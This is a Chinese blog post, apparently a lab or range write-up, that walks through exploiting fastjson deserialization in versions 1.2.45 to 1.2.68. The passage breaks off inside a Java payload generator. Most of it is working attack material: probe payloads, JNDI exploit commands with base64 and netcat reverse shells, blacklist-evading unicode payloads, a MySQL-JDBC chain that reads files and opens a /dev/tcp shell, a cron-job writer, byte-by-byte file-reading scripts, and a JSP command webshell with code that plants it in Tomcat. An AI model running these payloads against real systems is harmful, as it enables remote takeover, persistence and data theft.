FastJson漏洞学习
2025-11-01 16:13:10 # Web漏洞复现

fastjson各版本漏洞测试

感谢lemono师傅的靶场,学习了不少东西,膜拜大佬。本文章主要介绍了如何探测fastjson的环境,以及fastjson在1.2.45、1.2.47、1.2.68、1.2.80这几个大版本下的各种环境的漏洞利用。大部分内容为lemono师傅github[1]上的原wp,还有部分没有wp的为自己测试并加上的。

探测fastjsn的环境信息

测试fastjson漏洞的第一步是要先测试环境的情况,要确定fastjson的版本、后端使用的依赖、使用的jdk版本等信息,综合这些信息,确定要使用哪种方法去利用漏洞。这篇文章中[2],有多种利用方法,可供参考学习。

判断是否是使用fastjson

通过报错,缺失一个},查看返回包,是否有fastjson关键字。

1
2
{"name":"hello", "age":2
{"name"":"hello", "age":2}

根据解析变化

1
{"a":new a(1),"b":x'11',/*\*\/"c":Set[{}{}],"d":"\u0000\x00"} {"ext":"blue","name":{"$ref":"$.ext"}}

查看响应状态

1
{"@type":"whatever"}

dnslog出网,dnslog能收到请求,说明使用的fastjson。

1
2
3
4
{
"@type":"java.net.Inet4Address",
"val":"dnslog"
}

判断fastjson版本

参考师傅的文章[3][4],个人觉得是比较全的测试fastjson的版本。

简单的大致范围如下:

dnslog判断fastjson的大致版本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
//  <=1.2.47
[
{
"@type": "java.lang.Class",
"val": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "aaa.xxxx.ceye.io"
}
}
]


// <=1.2.68
[
{
"@type": "java.lang.AutoCloseable",
"@type": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "bbb.n41tma.ceye.io"
}
}
]


// <=1.2.80 收到一个dns请求,1.2.83 收到两个dns请求
[
{
"@type": "java.lang.Exception",
"@type": "com.alibaba.fastjson.JSONException",
"x": {
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "ccc.4fhgzj.dnslog.cn"
}
}
},
{
"@type": "java.lang.Exception",
"@type": "com.alibaba.fastjson.JSONException",
"message": {
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "ddd.4fhgzj.dnslog.cn"
}
}
}
]
AutoCloseable精确探测版本号
1
{"@type": "java.lang.AutoCloseable"

注意⚠️:在FastJson版本大概1.2.76后,即便是通过这种方式探测出精准的FastJson版本,也是1.2.76,即便是使用的1.2.80的依赖,因为在源码中并没有改变。

判断fastjson使用的依赖

其实主要是针对于黑盒情况下,在确定FastJson具体版本后,下一步就是对应payload探测该环境存在的一些依赖,而不是一味的盲打。 主要需要依赖能够回显FastJson的报错的探测。

Character转换报错

测试比较通用的方法:利用Character转换报错。

1
2
3
4
5
6
{
"x": {
"@type": "java.lang.Character"{
"@type": "java.lang.Class",
"val": "org.springframework.web.bind.annotation.RequestMapping"
}}

若存在org.springframework.web.bind.annotation.RequestMapping 如下:

image-20251027224928154

若不存在,报错No message available如下:

image-20251027225017074

依赖类列举,可配合fastjson版本利用漏洞

列举一些可能会用到的依赖类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
org.springframework.web.bind.annotation.RequestMapping  //SpringBoot
org.apache.catalina.startup.Tomcat //Tomcat
groovy.lang.GroovyShell //Groovy - 1.2.80
com.mchange.v2.c3p0.DataSources //C3P0
com.mysql.jdbc.Buffer //mysql-jdbc-5
com.mysql.cj.api.authentication.AuthenticationProvider //mysql-connect-6
com.mysql.cj.protocol.AuthenticationProvider //mysql-connect-8
sun.nio.cs.GBK //JDK8
java.net.http.HttpClient //JDK11
org.apache.ibatis.type.Alias //Mybatis
org.apache.tomcat.dbcp.dbcp.BasicDataSource //tomcat-dbcp-7-BCEL
org.apache.tomcat.dbcp.dbcp2.BasicDataSource //tomcat-dbcp-8及以后-BCEL
org.apache.commons.io.Charsets // 存在commons-io,但不确定版本
org.apache.commons.io.file.Counters //commons-io-2.7-2.8
org.aspectj.ajde.Ajde //aspectjtools

判断使用的jdk

判断后端是否是JDK11

java.net.http.HttpClient本身是JDK11下才特有的类,用于探测环境是否为JDK11

1
{"a":{"@type":"java.lang.Character"{"@type":"java.lang.Class","val":"java.net.http.HttpClient"}}

就是根据Character转换报错,看java.net.http.HttpClient类存不存在,存在就是JDK11,不存在就是其它的JDK

组合利用

知道了fastjson的版本、JDK版本以及后端使用的依赖以后,进行组合利用。

组合利用有很多,详细参考lemono师傅的文章[5]

版本1.2.45

fastjson1.2.45在jdk8u342高版jdk下,jndi利用受限

搭建好环境后,首先是检测fastjson的版本,如下:

image-20251024211023115

确定了版本为1.2.45,在这个大版本下是存在JNDI注入的,传统的JNDI注入工具测试,发现不行。这里是JDK版本为8u342,大于8u191导致的[2:1]

JNDI注入在jdk8u191之后受到了极大限制,所以这里需要绕过JDK高版本[6]。这里还有一个问题,环境中并没有tomcat、el或者groovy等依赖。这里要使用到FastJson的原生化序列化漏洞,所以绕过的方式便是使用LDAP的javaSerializedData打fastjson的原生反序列化Gadget。

这里使用了大佬写的Bypass高版本jdk的工具[7]JNDIBypass.jar

执行反弹shell,注意这里使用java8执行(我试了java17报错)。

1
java -jar ./JNDIBypass.jar -a 192.168.1.101 -p 1389 -c "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAxLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}"

image-20251024224009724

构造数据包如下:

image-20251024224142735

反弹shell成功。

image-20251024224319510

版本1.2.47

fastjson1.2.47的jndi利用

抓包探测fastjson版本,版本为1.2.47。

image-20251025140933441

尝试,像1.2.45一样去使用bash反弹shell。发现失败了。环境的作者设计的,环境中是不存在bash的所以失败了。

image-20251025141643749

换一个方式反弹shell,使用nc。

1
java -jar ./JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 192.168.1.101 -C "nc 192.168.1.101 9999 -e sh"

image-20251025142533792

image-20251025142239016

成了。

fastjson1.2.47的jndi利用,编码绕黑名单限制

抓包看数据包,构造非法的json数据,少输入一个}或多输入一个",发现返回的结果报错syntax error, position at 0, name password和,这说明后端解析了json,但是解析失败了。

image-20251025123024088

image-20251025123305987

探测fastjson的精确版本可以通过报错和dnslog,在本文最后面我会总结一下判断fastjson版本的方法。

再通过前面的方法去探测精确版本,发现后端是做了过滤的。

image-20251025123909623

fastjson在解析数据包是默认识别并解码hexunicode的,使用这些编码可以绕过一些黑名单的限制。这里环境的作者是设置了黑名单,检测了TemplatesImpldataSourceNameJdbcRowSetImplldap:rmi:@type关键字。

1
{"\u0040\u0074\u0079\u0070\u0065":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0041\u0075\u0074\u006f\u0043\u006c\u006f\u0073\u0065\u0061\u0062\u006c\u0065"

image-20251025124427071

识别到版本为1.2.47,这个大版本下存在mappings缓存机制通杀绕过。后面的利用就和前面的实验一样,做一下编码就可以绕过了。

1
2
3
4
5
6
7
8
9
10
11
 {
"a":{
"\u0040\u0074\u0079\u0070\u0065":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073",
"\u0076\u0061\u006c":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"
},
"b":{
"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c",
"\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"\u006c\u0064\u0061\u0070\u003a\u002f\u002f\u0031\u0039\u0032\u002e\u0031\u0036\u0038\u002e\u0031\u002e\u0031\u0030\u0031\u003a\u0031\u0033\u0038\u0039\u002f\u0066\u0052\u004a\u0039\u0045",
"\u0061\u0075\u0074\u006f\u0043\u006f\u006d\u006d\u0069\u0074":"\u0074\u0072\u0075\u0065"
}
}

image-20251025135340017

运行我使用的是java8,成功反弹shell了。

image-20251025135214837

版本1.2.68

fastjson1.2.68的jdbc反序列化

老样子,判断fastjson版本。

1
{"@type":"java.lang.AutoCloseable"

image-20251026200513946

在这个大版本下,首先思路是考虑文件写操作,就需要判断是否为jdk11或者存在commons-io等其他文件写入的依赖,但是该环境下都是不存在。

1
{"a":{"@type":"java.lang.Character"{"@type":"java.lang.Class","val":"org.apache.commons.io.Charsets"}}

image-20251026201241222

报错No message available,说明是类不存在。

除了写文件操作,还有一个更加简单且直接rce的方法:配合MySQL-JDBC反序列化打fastjson

条件是:

1、目标环境存在JDBC的依赖,且对于版本的要求也很严格。

2、MySQL-JDBC在5、6、8下都存在相应的利用,所以就需要探测具体是什么版本。

1
2
3
com.mysql.jdbc.Buffer  //mysql-jdbc-5
com.mysql.cj.api.authentication.AuthenticationProvider //mysql-connect-6
com.mysql.cj.protocol.AuthenticationProvider //mysql-connect-8

经过探测,显然这里使用的是mysql-connect-8.x

image-20251026201925090

对于mysql-connect-8.x的版本限制条件是,只有一个版本8.0.19可用。环境的作者这里设置的环境是8.0.19版本。

下面就是漏洞的利用过程。

先启动mysql-fake-server这个工具[8],这个工具我用python3.9可以成功运行,高版本可能运行失败。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl": {
"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters": [
{
"host": "192.168.1.101"
}
],
"slaves": [],
"properties": {
"host": "192.168.1.101",
"user": "fileread_/etc/passwd",
"dbname": "dbname",
"password": "pass",
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"allowLoadLocalInfile": "true"
}
}
}
}

成功读取了文件。

image-20251026203701902

既然文件读取成功,下面就是反序列化利用了。

fastjson在全版本都存在原生反序列化,且环境依赖中并不存在其他的组件,看来只能配合原生反序列化了。

因为mysql-fake-server调用反序列化模块的原理是需要我们传入ysoserial工具然后执行命令获取数据并发送,但是在本身的ysoserial工具中并没有加入fastjson这条链的payload,所以需要在ysoserial中加入fastjson这条链。这里lemono师傅,即环境的作者改了加了fastjson1链[9]

ok,接下来,将存在fastjson1链的ysoserial-0.0.6-SNAPSHOT-all.jar移动到与server.py同目录,注意mysql-fake-server配置文件没什么问题。

发送的数据包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl": {
"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters": [
{
"host": "192.168.1.101"
}
],
"slaves": [],
"properties": {
"host": "192.168.1.101",
"user": "yso_FastJson1_bash -i >& /dev/tcp/192.168.1.101/9999 0>&1",
"dbname": "dbname",
"password": "pass",
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"allowLoadLocalInfile": "true"
}
}
}
}

成功反弹shell。

image-20251026210447750

fastjson1.2.68在jdk11下的writefile利用

探测版本,发现存在检测,unicode编码绕过检测,版本1.2.68。

1
{"\u0040\u0074\u0079\u0070\u0065":"java.lang.AutoCloseable"

image-20251026212734144

在这个大版本下,极大的限制了jndi的利用,所以常见的利用方式为文件读写。文件写操作能够造成的危害同样很大,比如写入计划任务、写入ssh密钥、class文件类加载或jar包等

环境依赖探测:

在1.2.68中文件写操作不只是单纯依靠fastjson,还需利用其他依赖,比较常见的是commons-io等。

但是还有一种情况是JDK11下,是不需要引入其他依赖即可造成文件写入

所以可优先探测该机器所使用的Java版本是否为JDK11。(依赖类探测主要为了解决Fastjson高版本下需依赖其他环境组合攻击,可结合我们已知Poc针对性的探测!) 利用charactor类型转换报错,当存在指定的类时会报转换错误,不存在则无显示

java.net.http.HttpClient本身是JDK11下才特有的类,用于探测环境是否为JDK11

1
{"a":{"\u0040\u0074\u0079\u0070\u0065":"java.lang.Character"{"\u0040\u0074\u0079\u0070\u0065":"java.lang.Class","val":"java.net.http.HttpClient"}}

确认!存在java.net.http.HttpClient类,后端为jdk11。

image-20251026213556673

org.springframework.web.bind.annotation.RequestMappingSpringBoot下的类,经过探测,可知后端为jdk11+springboot的环境。

image-20251026214207851

确认了环境的情况,下面就是针对环境进行漏洞的利用。

使用jdk11,便可无限制写入文件。这里采用写入计划任务反弹shell,jdk11-writefile.java如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import com.alibaba.fastjson.JSON;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Arrays;
import java.util.Base64;
import java.util.zip.Deflater;

public class jdk11_writefile {
public static void main(String[] args) throws Exception {
String code = gzcompress("* * * * * bash -i >& /dev/tcp/192.168.1.101/9999 0>&1 \n");
//<=1.2.68 and JDK11
String payload = "{\r\n"
+ " \"@type\":\"java.lang.AutoCloseable\",\r\n"
+ " \"@type\":\"sun.rmi.server.MarshalOutputStream\",\r\n"
+ " \"out\":\r\n"
+ " {\r\n"
+ " \"@type\":\"java.util.zip.InflaterOutputStream\",\r\n"
+ " \"out\":\r\n"
+ " {\r\n"
+ " \"@type\":\"java.io.FileOutputStream\",\r\n"
+ " \"file\":\"/var/spool/cron/root\",\r\n"
+ " \"append\":false\r\n"
+ " },\r\n"
+ " \"infl\":\r\n"
+ " {\r\n"
+ " \"input\":\r\n"
+ " {\r\n"
+ " \"array\":\""+code+"\",\r\n"
+ " \"limit\":1999\r\n"
+ " }\r\n"
+ " },\r\n"
+ " \"bufLen\":1048576\r\n"
+ " },\r\n"
+ " \"protocolVersion\":1\r\n"
+ "}\r\n"
+ "";

System.out.println(payload);
JSON.parseObject(payload);
}
public static String gzcompress(String code) {
byte[] data = code.getBytes();
byte[] output = new byte[0];
Deflater compresser = new Deflater();
compresser.reset();
compresser.setInput(data);
compresser.finish();
ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
try {
byte[] buf = new byte[1024];
while (!compresser.finished()) {
int i = compresser.deflate(buf);
bos.write(buf, 0, i);
}
output = bos.toByteArray();
} catch (Exception e) {
output = data;
e.printStackTrace();
} finally {
try {
bos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
compresser.end();
System.out.println(Arrays.toString(output));
return Base64.getEncoder().encodeToString(output);
}
}

运行即可生成exp 在写入计划任务时,有几个需要注意的点⚠️⚠️⚠️

  • linux本身系统限制,首先CentosUbuntu系列是不同的写入文件位置,且命令方式均有区别,这里因为是Centos系统,所以写入到/var/spool/cron/root文件下,而Ubuntu系统则应该写入到/etc/crontab系统级计划任务下,而不是/var/spool/cron/crontabs/root文件下,因为该方式将会涉及到改权限、计划任务服务重启的操作。
  • 通过这种文件写入漏洞写入计划任务时,需要在命令的后面加上换行操作,保证该命令为完整的一行,否则不会反弹成功。

写入反弹shell计划任务到/var/spool/cron/root中,将会生成Json格式的payload

发送的数据如下,@type做了unicode编码,绕过检测:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
{
"\u0040\u0074\u0079\u0070\u0065":"java.lang.AutoCloseable",
"\u0040\u0074\u0079\u0070\u0065":"sun.rmi.server.MarshalOutputStream",
"out":
{
"\u0040\u0074\u0079\u0070\u0065":"java.util.zip.InflaterOutputStream",
"out":
{
"\u0040\u0074\u0079\u0070\u0065":"java.io.FileOutputStream",
"file":"/var/spool/cron/root",
"append":false
},
"infl":
{
"input":
{
"array":"eJzTUtCCQoWkxOIMBd1MBTs1Bf2U1DL9kuQCfUNLIz1DMws9Qz1DA0N9SyBQMLBTM1TgAgBmLQxI",
"limit":1999
}
},
"bufLen":1048576
},
"protocolVersion":1
}

光这样还不行,因为后面一步需要在limit处写入文件内真实数据的长度,而这个长度会因为一些处理导致并不是我们写入计划任务命令的长度,这里方法同样是利用到报错,先将limit值尽量设置较大,fastjson会因为偏移位置不对爆出正确的数据偏移,即这里的57,所以57才是真实的数据长度

image-20251026215548987

下面这种情况是写入成功了。

image-20251026221420020

成功反弹shell。

image-20251026220223990

fastjson1.2.68的readfile利用

探测版本,和后端的环境。

image-20251026222757580

image-20251026222942694

image-20251026223036393

测试发现fastjson 1.2.68版本,非jdk11,是Springboot。所以,对于前面的任意文件写入,这里思路不能继续使用了。

既然不进行文件的写入,那么这里尝试去读取文件。对于文件的读取,使用到依赖commons-io,去进行探测。

发现org.apache.commons.io.Charsets是存在的。

image-20251026223512223

再测试一下org.apache.commons.io.file.Counters,这个类是在commons-io 2.7版本引入的[10],通过探测,说明commons-io版本是小于2.7的。

image-20251026224637575

尝试一下文件读取,构造数据包如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
{
"abc": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///etc/passwd"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": [
114,111,111,116
]
}
]
},
"address": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.CharSequenceReader",
"charSequence": {
"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},
"start": 0,
"end": 0
}
}
}

先测试读/etc/passwd,看看是否成功,因为/etc/passwd文件开头一定为root,对应ascii码的话就是:114,111,111,116,这种报错就是成功的,代表字节没问题。

image-20251027112917078

这种就是读取的内容不对,报错。

image-20251027112941430

因此,这里就产生了布尔注入,通过两个不同的返回结果判断,是否为正确的信息。爆破字ASCII码,即可实现文件的读取,脚本exp.py如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import requests

url = "http://192.168.1.101/login"

asciis = [10,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126]
file_byte = []
data1 = """
{
"abc": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///flag"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": [
"""

data2 = """
]
}
]
},
"address": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.CharSequenceReader",
"charSequence": {
"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},
"start": 0,
"end": 0
}
}
}
"""
proxies = {
'http': '127.0.0.1:8080',
}

header = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36",
"Content-Type": "application/json; charset=utf-8"
}


for i in range(1,30): # 需要读取多长自己定义,但一次性不要太长,建议分多次读取
for i in asciis:
file_byte.append(str(i))
req = requests.post(url=url,data=data1+','.join(file_byte)+data2,headers=header)
text = req.text
if "charSequence" not in text:
file_byte.pop()

print(','.join(file_byte))
file_str = ""
for i in file_byte:
file_str += chr(int(i))
print(file_str)

成功实现文件的读取。

image-20251027113814357

fastjson1.2.68的writefile到jsp

老样子,判断版本,1.2.68。

image-20251027123109354

这是tomcat的标准页面,tomcat版本报错显示了为8.5.95版本(截图没截全,没显示),Java web项目。既然是1.2.68版本,优先考虑文件读取,探测文件需要的依赖。

image-20251027123725852

存在commons-io依赖的,直接测试读文件,判断是否能进行文件的读取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
{
"abc": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///etc/passwd"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": [
114,111,111,116
]
}
]
},
"address": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.CharSequenceReader",
"charSequence": {
"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},
"start": 0,
"end": 0
}
}
}

成功读取/etc/passwd文件,开头是root

image-20251027124102774

ok,下一步测试文件的写入。

需要文件写那肯定得知道网站在tomcat下的绝对路径。如果跑tomcat的默认安装目录还是有可能成功,但是几率太小了,还是从文件读这里入手。 从读文件的payload中可以看到读文件用到的是file:///etc/passwdfile协议,在Java中file协议不仅能用来读文件,也可以用来列目录,这就为探测tomcat绝对路径提供了很好的条件。

进行读取文件的readfile.py脚本,修改url参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import requests

url = "http://192.168.1.101/login"

#码表可按照实际修改,例如探测jdk目录一般文件名为小写
#asciis = [10,32,45,46,47,48,49,50,51,52,53,54,55,56,57,91,92,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122] #针对linux下正常文件夹或文件读取,去除了一些文件名下不常见的字符,且全为小写
asciis = [10,32,45,46,47,48,49,50,51,52,53,54,55,56,57,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122] #针对linux下正常文件夹或文件读取,去除了一些文件名下不常见的字符,且包含大小写
# asciis = [10,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126] #所有可见字符


data1 = """
{
"abc": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///usr/local/tomcat/" # 修改这个进行列目录
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": [
"""

data2 = """
]
}
]
},
"address": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.CharSequenceReader",
"charSequence": {
"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},
"start": 0,
"end": 0
}
}
}
"""
proxies = {
'http': '127.0.0.1:8080',
}

header = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36",
"Content-Type": "application/json; charset=utf-8"
}

def byte2str(bytes):
file_str = ""
for i in file_byte:
file_str += chr(int(i))
print("【" + file_str + "】")

file_byte = []
for i in range(0,50): # 需要读取多长自己定义,但一次性不要太长,建议分多次读取
for i in asciis:
file_byte.append(str(i))
req = requests.post(url=url,data=data1+','.join(file_byte)+data2,headers=header)
text = req.text

if "charSequence" not in text:
file_byte.pop()
byte2str(file_byte)
print(file_byte)

最后可以跑出绝对的路径为/usr/local/tomcat/apache-tomcat-8.5.95/webapps,现在知道了绝对的路径,可以写一个命令回显的jsp马。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Test</title>
</head>
<body>
<%

java.io.PrintWriter writer = response.getWriter();
String cmd = request.getParameter("cmd");
if (cmd != null) {
java.lang.Process exec = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
java.io.InputStream inputStream = exec.getInputStream();
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine()) != null) {
writer.println(line);
}
} else {
writer.println("connect success");
}
%>
</body>
</html>

使用写文件的脚本writefilejsp.java如下,这里我优化了一下lemono师傅原wp[9:1]中的代码,解决了jsp木马中""没有做转义的问题,并且填充a那里,必须要加上131才能成功的上传,这个很神奇,具体原因我也摸不着头脑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
package com.x2n.fastjson;

public class writefilejsp {
public static void main(String[] args) throws Exception {
String code = "<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n" +
"<html>\n" +
"<head>\n" +
" <title>Test</title>\n" +
"</head>\n" +
"<body>\n" +
"<%\n" +
" java.io.PrintWriter writer = response.getWriter();\n" +
" String cmd = request.getParameter(\"cmd\");\n" +
" if (cmd != null) {\n" +
" java.lang.Process exec = Runtime.getRuntime().exec(new String[]{\"/bin/bash\", \"-c\", cmd});\n" +
" java.io.InputStream inputStream = exec.getInputStream();\n" +
" java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream));\n" +
" String line;\n" +
" while ((line = bufferedReader.readLine()) != null) {\n" +
" writer.println(line);\n" +
" }\n" +
" } else {\n" +
" writer.println(\"connect success\");\n" +
" }\n" +
"%>\n" +
"</body>\n" +
"</html>";
// 转义双引号
code = code.replace("\"", "\\\"");

int length = code.length();
for (int i = 0; i <= (8192+131) - length; i++) { //这里我加上了131就可以成功上传了,具体原因我也不知道为什么。
code += "a";
}
String poc4 = "{\n" +
" \"x\":{\n" +
" \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +
" \"input\":{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\n" +
" \"reader\":{\n" +
" \"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\n" +
" \"charSequence\":{\"@type\":\"java.lang.String\"\"" + code + "\"\n" +
" },\n" +
" \"charsetName\":\"UTF-8\",\n" +
" \"bufferSize\":1024\n" +
" },\n" +
" \"branch\":{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\n" +
" \"writer\":{\n" +
" \"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\n" +
" \"file\":\"/usr/local/tomcat/apache-tomcat-8.5.95/webapps/ROOT/shell.jsp\",\n" +
" \"encoding\":\"UTF-8\",\n" +
" \"append\": false\n" +
" },\n" +
// " \"charsetName\":\"UTF-8\",\n" +
" \"charset\":\"UTF-8\",\n" +
" \"bufferSize\": 1024,\n" +
" \"writeImmediately\": true\n" +
" },\n" +
" \"trigger\":{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" +
" \"is\":{\n" +
" \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
" \"input\":{\n" +
" \"$ref\":\"$.input\"\n" +
" },\n" +
" \"branch\":{\n" +
" \"$ref\":\"$.branch\"\n" +
" },\n" +
" \"closeBranch\": true\n" +
" },\n" +
" \"httpContentType\":\"text/xml\",\n" +
" \"lenient\":false,\n" +
" \"defaultEncoding\":\"UTF-8\"\n" +
" },\n" +
" \"trigger2\":{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" +
" \"is\":{\n" +
" \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
" \"input\":{\n" +
" \"$ref\":\"$.input\"\n" +
" },\n" +
" \"branch\":{\n" +
